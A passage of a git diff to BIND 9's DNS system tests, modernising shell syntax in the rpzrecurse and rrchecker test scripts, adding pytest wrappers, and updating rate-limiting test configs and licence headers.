-    $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
-    test -f dnsrpzd.pid && $KILL -USR1 `cat dnsrpzd.pid`
+  # Group 6
+  echo_i "check recursive behavior consistency during policy update races"
+  run_server 6a
+  sleep 1
+  t=$((t+1))
+  echo_i "running dig to cache CNAME record (${t})"
+  add_test_marker 10.53.0.1 10.53.0.2
+  $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org CNAME > dig.out.${t}
+  sleep 1
+  echo_i "suspending authority server"
+  PID=$(cat ns1/named.pid)
+  kill -STOP $PID
+  echo_i "adding an NSDNAME policy"
+  cp ns2/db.6a.00.policy.local ns2/saved.policy.local
+  cp ns2/db.6b.00.policy.local ns2/db.6a.00.policy.local
+  $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
+  test -f dnsrpzd.pid && kill -USR1 $(cat dnsrpzd.pid) || true
+  sleep 1
+  t=$((t+1))
+  echo_i "running dig to follow CNAME (blocks, so runs in the background) (${t})"
+  add_test_marker 10.53.0.2
+  $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org A +time=5 > dig.out.${t} &
+  sleep 1
+  echo_i "removing the NSDNAME policy"
+  cp ns2/db.6c.00.policy.local ns2/db.6a.00.policy.local
+  $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
+  test -f dnsrpzd.pid && kill -USR1 $(cat dnsrpzd.pid) || true
+  sleep 1
+  echo_i "resuming authority server"
+  PID=$(cat ns1/named.pid)
+  kill -CONT $PID
+  add_test_marker 10.53.0.1
+  for n in 1 2 3 4 5 6 7 8 9
+  do
     sleep 1
-    echo_i "resuming authority server"
-    PID=`cat ns1/named.pid`
-    if [ "$CYGWIN" ]
-    then
-      $PSSUSPEND -r $PID
-    else
-      $KILL -CONT $PID
-    fi
-    add_test_marker 10.53.0.1
-    for n in 1 2 3 4 5 6 7 8 9
-    do
-      sleep 1
-      [ -s dig.out.${t} ] || continue
-      grep "status: .*," dig.out.${t} > /dev/null 2>&1 && break
-    done
-    grep "status: NOERROR" dig.out.${t} > /dev/null 2>&1 || {
-      echo_i "test ${t} failed"
-      status=1
-    }
+    [ -s dig.out.${t} ] || continue
+    grep "status: .*," dig.out.${t} > /dev/null 2>&1 && break
+  done
+  grep "status: NOERROR" dig.out.${t} > /dev/null 2>&1 || {
+    echo_i "test ${t} failed"
+    status=1
+  }
 
-    echo_i "check recursive behavior consistency during policy removal races"
-    cp ns2/saved.policy.local ns2/db.6a.00.policy.local
-    run_server 6a
-    sleep 1
-    t=`expr $t + 1`
-    echo_i "running dig to cache CNAME record (${t})"
-    add_test_marker 10.53.0.1 10.53.0.2
-    $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org CNAME > dig.out.${t}
-    sleep 1
-    echo_i "suspending authority server"
-    PID=`cat ns1/named.pid`
-    if [ "$CYGWIN" ]
-    then
-      $PSSUSPEND $PID
-    else
-      $KILL -STOP $PID
-    fi
-    echo_i "adding an NSDNAME policy"
-    cp ns2/db.6b.00.policy.local ns2/db.6a.00.policy.local
-    $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
-    test -f dnsrpzd.pid && $KILL -USR1 `cat dnsrpzd.pid`
-    sleep 1
-    t=`expr $t + 1`
-    echo_i "running dig to follow CNAME (blocks, so runs in the background) (${t})"
-    add_test_marker 10.53.0.2
-    $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org A +time=5 > dig.out.${t} &
-    sleep 1
-    echo_i "removing the policy zone"
-    cp ns2/named.default.conf ns2/named.conf
-    rndc_reconfig ns2 10.53.0.2
-    test -f dnsrpzd.pid && $KILL -USR1 `cat dnsrpzd.pid`
+  echo_i "check recursive behavior consistency during policy removal races"
+  cp ns2/saved.policy.local ns2/db.6a.00.policy.local
+  run_server 6a
+  sleep 1
+  t=$((t+1))
+  echo_i "running dig to cache CNAME record (${t})"
+  add_test_marker 10.53.0.1 10.53.0.2
+  $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org CNAME > dig.out.${t}
+  sleep 1
+  echo_i "suspending authority server"
+  PID=$(cat ns1/named.pid)
+  kill -STOP $PID
+  echo_i "adding an NSDNAME policy"
+  cp ns2/db.6b.00.policy.local ns2/db.6a.00.policy.local
+  $RNDC -c ../common/rndc.conf -s 10.53.0.2 -p ${CONTROLPORT} reload 6a.00.policy.local 2>&1 | sed 's/^/ns2 /' | cat_i
+  test -f dnsrpzd.pid && kill -USR1 $(cat dnsrpzd.pid) || true
+  sleep 1
+  t=$((t+1))
+  echo_i "running dig to follow CNAME (blocks, so runs in the background) (${t})"
+  add_test_marker 10.53.0.2
+  $DIG $DIGOPTS @10.53.0.2 -p ${PORT} www.test.example.org A +time=5 > dig.out.${t} &
+  sleep 1
+  echo_i "removing the policy zone"
+  cp ns2/named.default.conf ns2/named.conf
+  rndc_reconfig ns2 10.53.0.2
+  test -f dnsrpzd.pid && kill -USR1 $(cat dnsrpzd.pid) || true
+  sleep 1
+  echo_i "resuming authority server"
+  PID=$(cat ns1/named.pid)
+  kill -CONT $PID
+  add_test_marker 10.53.0.1
+  for n in 1 2 3 4 5 6 7 8 9; do
     sleep 1
-    echo_i "resuming authority server"
-    PID=`cat ns1/named.pid`
-    if [ "$CYGWIN" ]
-    then
-      $PSSUSPEND -r $PID
-    else
-      $KILL -CONT $PID
-    fi
-    add_test_marker 10.53.0.1
-    for n in 1 2 3 4 5 6 7 8 9; do
-      sleep 1
-      [ -s dig.out.${t} ] || continue
-      grep "status: .*," dig.out.${t} > /dev/null 2>&1 && break
-    done
-    grep "status: NOERROR" dig.out.${t} > /dev/null 2>&1 || {
-      echo_i "test ${t} failed"
-      status=1
-    }
-  fi
+    [ -s dig.out.${t} ] || continue
+    grep "status: .*," dig.out.${t} > /dev/null 2>&1 && break
+  done
+  grep "status: NOERROR" dig.out.${t} > /dev/null 2>&1 || {
+    echo_i "test ${t} failed"
+    status=1
+  }
 
   # Check maximum number of RPZ zones (64)
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing maximum number of RPZ zones (${t})"
   add_test_marker 10.53.0.2
   run_server max
@@ -356,11 +357,11 @@ for mode in native dnsrps; do
 	  echo_i "test $t failed: didn't get expected answer from policy zone $i"
 	  status=1
       }
-      i=`expr $i + 1`
+      i=$((i+1))
   done
 
   # Check CLIENT-IP behavior
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing CLIENT-IP behavior (${t})"
   add_test_marker 10.53.0.2
   run_server clientip
@@ -375,7 +376,7 @@ for mode in native dnsrps; do
   }
 
   # Check CLIENT-IP behavior #2
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing CLIENT-IP behavior #2 (${t})"
   add_test_marker 10.53.0.2
   run_server clientip2
@@ -405,11 +406,11 @@ for mode in native dnsrps; do
   }
 
   # Check RPZ log clause
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing RPZ log clause (${t})"
   add_test_marker 10.53.0.2
   run_server log
-  cur=`awk 'BEGIN {l=0} /^/ {l++} END { print l }' ns2/named.run`
+  cur=$(awk 'BEGIN {l=0} /^/ {l++} END { print l }' ns2/named.run)
   $DIG $DIGOPTS l2.l1.l0 a @10.53.0.2 -p ${PORT} -b 10.53.0.4 > dig.out.${t}
   $DIG $DIGOPTS l2.l1.l0 a @10.53.0.2 -p ${PORT} -b 10.53.0.3 >> dig.out.${t}
   $DIG $DIGOPTS l2.l1.l0 a @10.53.0.2 -p ${PORT} -b 10.53.0.2 >> dig.out.${t}
@@ -428,7 +429,7 @@ for mode in native dnsrps; do
 
   # Check wildcard behavior
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing wildcard behavior with 1 RPZ zone (${t})"
   add_test_marker 10.53.0.2
   run_server wildcard1
@@ -443,7 +444,7 @@ for mode in native dnsrps; do
     status=1
   }
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing wildcard behavior with 2 RPZ zones (${t})"
   add_test_marker 10.53.0.2
   run_server wildcard2
@@ -458,7 +459,7 @@ for mode in native dnsrps; do
     status=1
   }
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing wildcard behavior with 1 RPZ zone and no non-wildcard triggers (${t})"
   add_test_marker 10.53.0.2
   run_server wildcard3
@@ -473,7 +474,7 @@ for mode in native dnsrps; do
     status=1
   }
 
-  t=`expr $t + 1`
+  t=$((t+1))
   echo_i "testing wildcard passthru before explicit drop (${t})"
   add_test_marker 10.53.0.2
   run_server wildcard4
@@ -490,7 +491,7 @@ for mode in native dnsrps; do
 
   if [ "$mode" = "native" ]; then
     # Check for invalid prefix length error
-    t=`expr $t + 1`
+    t=$((t+1))
     echo_i "testing for invalid prefix length error (${t})"
     add_test_marker 10.53.0.2
     run_server invalidprefixlength
@@ -500,68 +501,72 @@ for mode in native dnsrps; do
     }
   fi
 
-  t=`expr $t + 1`
-  echo_i "checking 'nsip-wait-recurse no' is faster than 'nsip-wait-recurse yes' ($t)"
-  add_test_marker 10.53.0.2 10.53.0.3
-  echo_i "timing 'nsip-wait-recurse yes' (default)"
-  ret=0
-  t1=`$PERL -e 'print time()."\n";'`
-  $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.yes.$t
-  t2=`$PERL -e 'print time()."\n";'`
-  p1=`expr $t2 - $t1`
-  echo_i "elapsed time $p1 seconds"
-
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
-  copy_setports ns3/named2.conf.in ns3/named.conf
-  nextpart ns3/named.run > /dev/null
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
-  wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
-
-  echo_i "timing 'nsip-wait-recurse no'"
-  t3=`$PERL -e 'print time()."\n";'`
-  $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.no.$t
-  t4=`$PERL -e 'print time()."\n";'`
-  p2=`expr $t4 - $t3`
-  echo_i "elapsed time $p2 seconds"
-
-  if test $p1 -le $p2; then ret=1; fi
-  if test $ret != 0; then echo_i "failed"; fi
-  status=`expr $status + $ret`
-
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
-  # restore original named.conf
-  copy_setports ns3/named1.conf.in ns3/named.conf
-  nextpart ns3/named.run > /dev/null
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
-  wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
-
-  t=`expr $t + 1`
-  echo_i "checking 'nsdname-wait-recurse no' is faster than 'nsdname-wait-recurse yes' ($t)"
-  add_test_marker 10.53.0.2 10.53.0.3
-  echo_i "timing 'nsdname-wait-recurse yes' (default)"
-  ret=0
-  t1=`$PERL -e 'print time()."\n";'`
-  $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.yes.$t
-  t2=`$PERL -e 'print time()."\n";'`
-  p1=`expr $t2 - $t1`
-  echo_i "elapsed time $p1 seconds"
-
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
-  copy_setports ns3/named3.conf.in ns3/named.conf
-  nextpart ns3/named.run > /dev/null
-  $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
-  wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
-
-  echo_i "timing 'nsdname-wait-recurse no'"
-  t3=`$PERL -e 'print time()."\n";'`
-  $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.no.$t
-  t4=`$PERL -e 'print time()."\n";'`
-  p2=`expr $t4 - $t3`
-  echo_i "elapsed time $p2 seconds"
-
-  if test $p1 -le $p2; then ret=1; fi
-  if test $ret != 0; then echo_i "failed"; fi
-  status=`expr $status + $ret`
+  if [ "$mode" = "native" ]; then
+    t=$((t+1))
+    echo_i "checking 'nsip-wait-recurse no' is faster than 'nsip-wait-recurse yes' ($t)"
+    add_test_marker 10.53.0.2 10.53.0.3
+    echo_i "timing 'nsip-wait-recurse yes' (default)"
+    produce_librpz_rules ns3 policy policy
+    ret=0
+    t1=$($PERL -e 'print time()."\n";')
+    $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.yes.$t
+    t2=$($PERL -e 'print time()."\n";')
+    p1=$((t2-t1))
+    echo_i "elapsed time $p1 seconds"
+
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
+    copy_setports ns3/named2.conf.in ns3/named.conf
+    nextpart ns3/named.run > /dev/null
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
+    wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
+
+    echo_i "timing 'nsip-wait-recurse no'"
+    echo "update zone policy 0 no_nsip_wait_recurse" > $DNSRPS_TEST_UPDATE_FILE
+    t3=$($PERL -e 'print time()."\n";')
+    $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.no.$t
+    t4=$($PERL -e 'print time()."\n";')
+    p2=$((t4-t3))
+    echo_i "elapsed time $p2 seconds"
+
+    if test $p1 -le $p2; then ret=1; fi
+    if test $ret != 0; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
+    # restore original named.conf
+    copy_setports ns3/named1.conf.in ns3/named.conf
+    nextpart ns3/named.run > /dev/null
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
+    wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
+
+    t=$((t+1))
+    echo_i "checking 'nsdname-wait-recurse no' is faster than 'nsdname-wait-recurse yes' ($t)"
+    add_test_marker 10.53.0.2 10.53.0.3
+    echo_i "timing 'nsdname-wait-recurse yes' (default)"
+    ret=0
+    t1=$($PERL -e 'print time()."\n";')
+    $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.yes.$t
+    t2=$($PERL -e 'print time()."\n";')
+    p1=$((t2-t1))
+    echo_i "elapsed time $p1 seconds"
+
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} flush
+    copy_setports ns3/named3.conf.in ns3/named.conf
+    nextpart ns3/named.run > /dev/null
+    $RNDC  -c ../common/rndc.conf -s 10.53.0.3 -p ${CONTROLPORT} reload > /dev/null
+    wait_for_log 20 "rpz: policy: reload done" ns3/named.run || ret=1
+
+    echo_i "timing 'nsdname-wait-recurse no'"
+    t3=$($PERL -e 'print time()."\n";')
+    $DIG -p ${PORT} @10.53.0.3 foo.child.example.tld a > dig.out.no.$t
+    t4=$($PERL -e 'print time()."\n";')
+    p2=$((t4-t3))
+    echo_i "elapsed time $p2 seconds"
+
+    if test $p1 -le $p2; then ret=1; fi
+    if test $ret != 0; then echo_i "failed"; fi
+    status=$((status+ret))
+  fi
 
 
   [ $status -ne 0 ] && pf=fail || pf=pass
@@ -575,6 +580,6 @@ for mode in native dnsrps; do
   *) echo_i "invalid test mode";;
   esac
 done
-status=`expr ${native:-0} + ${dnsrps:-0}`
+status=$((native + dnsrps))
 
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py b/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py
new file mode 100644
index 0000000000..903ac49820
--- /dev/null
+++ b/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rpzrecurse(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rrchecker/clean.sh b/bin/tests/system/rrchecker/clean.sh
index e3b7f677af..166247d40c 100644
--- a/bin/tests/system/rrchecker/clean.sh
+++ b/bin/tests/system/rrchecker/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rrchecker/tests.sh b/bin/tests/system/rrchecker/tests.sh
index 0845d51687..65e9d434bf 100644
--- a/bin/tests/system/rrchecker/tests.sh
+++ b/bin/tests/system/rrchecker/tests.sh
@@ -1,33 +1,37 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "class list ($n)"
 $RRCHECKER -C > classlist.out
-$DIFF classlist.out classlist.good || { echo_i "failed"; status=`expr $status + 1`; }
+diff classlist.out classlist.good || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "type list ($n)"
 $RRCHECKER -T > typelist.out
-$DIFF typelist.out typelist.good || { echo_i "failed"; status=`expr $status + 1`; }
+diff typelist.out typelist.good || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "private type list ($n)"
 $RRCHECKER -P > privatelist.out
-$DIFF privatelist.out privatelist.good || { echo_i "failed"; status=`expr $status + 1`; }
+diff privatelist.out privatelist.good || { echo_i "failed"; status=$((status + 1)); }
 
 myecho() {
 cat << EOF
@@ -35,7 +39,7 @@ $*
 EOF
 }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check conversions to canonical format ($n)"
 ret=0
 $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 0 > tempzone
@@ -52,9 +56,9 @@ do
 		echo_i "'$cl $ty $rest' != '$cl0 $ty0 $rest0'"
 	}
 done < checkzone.out$n
-test $ret -eq 0 || { echo_i "failed"; status=`expr $status + 1`; }
+test $ret -eq 0 || { echo_i "failed"; status=$((status + 1)); }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check conversions to and from unknown record format ($n)"
 ret=0
 $CHECKZONE -Dq . tempzone | sed '/^;/d' > checkzone.out$n
@@ -75,7 +79,7 @@ do
 		echo_i "'$cl $ty $rest' != '$cl0 $ty0 $rest0'"
 	}
 done < checkzone.out$n
-test $ret -eq 0 || { echo_i "failed"; status=`expr $status + 1`; }
+test $ret -eq 0 || { echo_i "failed"; status=$((status + 1)); }
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rrchecker/tests_sh_rrchecker.py b/bin/tests/system/rrchecker/tests_sh_rrchecker.py
new file mode 100644
index 0000000000..16368e7c82
--- /dev/null
+++ b/bin/tests/system/rrchecker/tests_sh_rrchecker.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rrchecker(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rrchecker/typelist.good b/bin/tests/system/rrchecker/typelist.good
index c843fc7b51..3c3e5cd384 100644
--- a/bin/tests/system/rrchecker/typelist.good
+++ b/bin/tests/system/rrchecker/typelist.good
@@ -59,6 +59,8 @@ CDNSKEY
 OPENPGPKEY
 CSYNC
 ZONEMD
+SVCB
+HTTPS
 SPF
 UINFO
 UID
diff --git a/bin/tests/system/rrl/broken.conf b/bin/tests/system/rrl/broken.conf
deleted file mode 100644
index 0c0a121564..0000000000
--- a/bin/tests/system/rrl/broken.conf
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.5;
-	notify-source 10.53.0.5;
-	transfer-source 10.53.0.5;
-	port 5300;
-	pid-file "named.pid";
-	statistics-file	"named.stats";
-	listen-on { 10.53.0.5; };
-	listen-on-v6 { none; };
-	notify no;
-
-	rate-limit {
-	    responses-per-second 2;
-	    all-per-second 50;
-	    slip 3;
-	    exempt-clients { 10.53.0.7; };
-	    log-only yes;
-
-	    min-table-size 0;
-	    max-table-size 0;
-	};
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-controls {
-	inet 10.53.0.5 port 9953 allow { any; } keys { rndc_key; };
-};
-
diff --git a/bin/tests/system/rrl/broken.conf.in b/bin/tests/system/rrl/broken.conf.in
new file mode 100644
index 0000000000..21af240d74
--- /dev/null
+++ b/bin/tests/system/rrl/broken.conf.in
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	pid-file "named.pid";
+	statistics-file	"named.stats";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	notify no;
+	dnssec-validation no;
+
+	rate-limit {
+	    responses-per-second 2;
+	    all-per-second 50;
+	    slip 3;
+	    exempt-clients { 10.53.0.7; };
+	    log-only yes;
+
+	    min-table-size 0;
+	    max-table-size 0;
+	};
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
diff --git a/bin/tests/system/rrl/clean.sh b/bin/tests/system/rrl/clean.sh
index 0093f5325e..74afe5a54c 100644
--- a/bin/tests/system/rrl/clean.sh
+++ b/bin/tests/system/rrl/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -9,10 +13,11 @@
 
 # Clean up after rrl tests.
 
-rm -f dig.out* *mdig.out*
 rm -f  */named.memstats */named.run */named.stats */log-* */session.key
-rm -f ns3/bl*.db */*.jnl */*.core */*.pid
-rm -f ns*/named.lock
-rm -f ns*/named.conf
+rm -f broken.conf
 rm -f broken.out
+rm -f dig.out* *mdig.out*
 rm -f ns*/managed-keys.bind*
+rm -f ns*/named.conf
+rm -f ns*/named.lock
+rm -f ns3/bl*.db */*.jnl */*.core */*.pid
diff --git a/bin/tests/system/rrl/ns1/named.conf.in b/bin/tests/system/rrl/ns1/named.conf.in
index 177c67fcc5..e4da6efcc9 100644
--- a/bin/tests/system/rrl/ns1/named.conf.in
+++ b/bin/tests/system/rrl/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rrl/ns1/root.db b/bin/tests/system/rrl/ns1/root.db
index c628370d6d..68265fedb8 100644
--- a/bin/tests/system/rrl/ns1/root.db
+++ b/bin/tests/system/rrl/ns1/root.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL	120
 @		SOA	ns. hostmaster.ns. ( 1 3600 1200 604800 60 )
 @		NS	ns.
diff --git a/bin/tests/system/rrl/ns2/hints b/bin/tests/system/rrl/ns2/hints
index cb67a8b3ec..a1d435e1c6 100644
--- a/bin/tests/system/rrl/ns2/hints
+++ b/bin/tests/system/rrl/ns2/hints
@@ -1,13 +1,13 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 .	0	NS	ns1.
 ns1.	0	A	10.53.0.1
diff --git a/bin/tests/system/rrl/ns2/named.conf.in b/bin/tests/system/rrl/ns2/named.conf.in
index 4ce1477494..abe4f9cea3 100644
--- a/bin/tests/system/rrl/ns2/named.conf.in
+++ b/bin/tests/system/rrl/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -36,7 +38,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
diff --git a/bin/tests/system/rrl/ns2/tld2.db b/bin/tests/system/rrl/ns2/tld2.db
index 4a4b97aa4d..a1a832bab5 100644
--- a/bin/tests/system/rrl/ns2/tld2.db
+++ b/bin/tests/system/rrl/ns2/tld2.db
@@ -1,14 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
-
 ; rate limit response from this zone
 
 $TTL	120
diff --git a/bin/tests/system/rrl/ns3/hints b/bin/tests/system/rrl/ns3/hints
index cb67a8b3ec..a1d435e1c6 100644
--- a/bin/tests/system/rrl/ns3/hints
+++ b/bin/tests/system/rrl/ns3/hints
@@ -1,13 +1,13 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
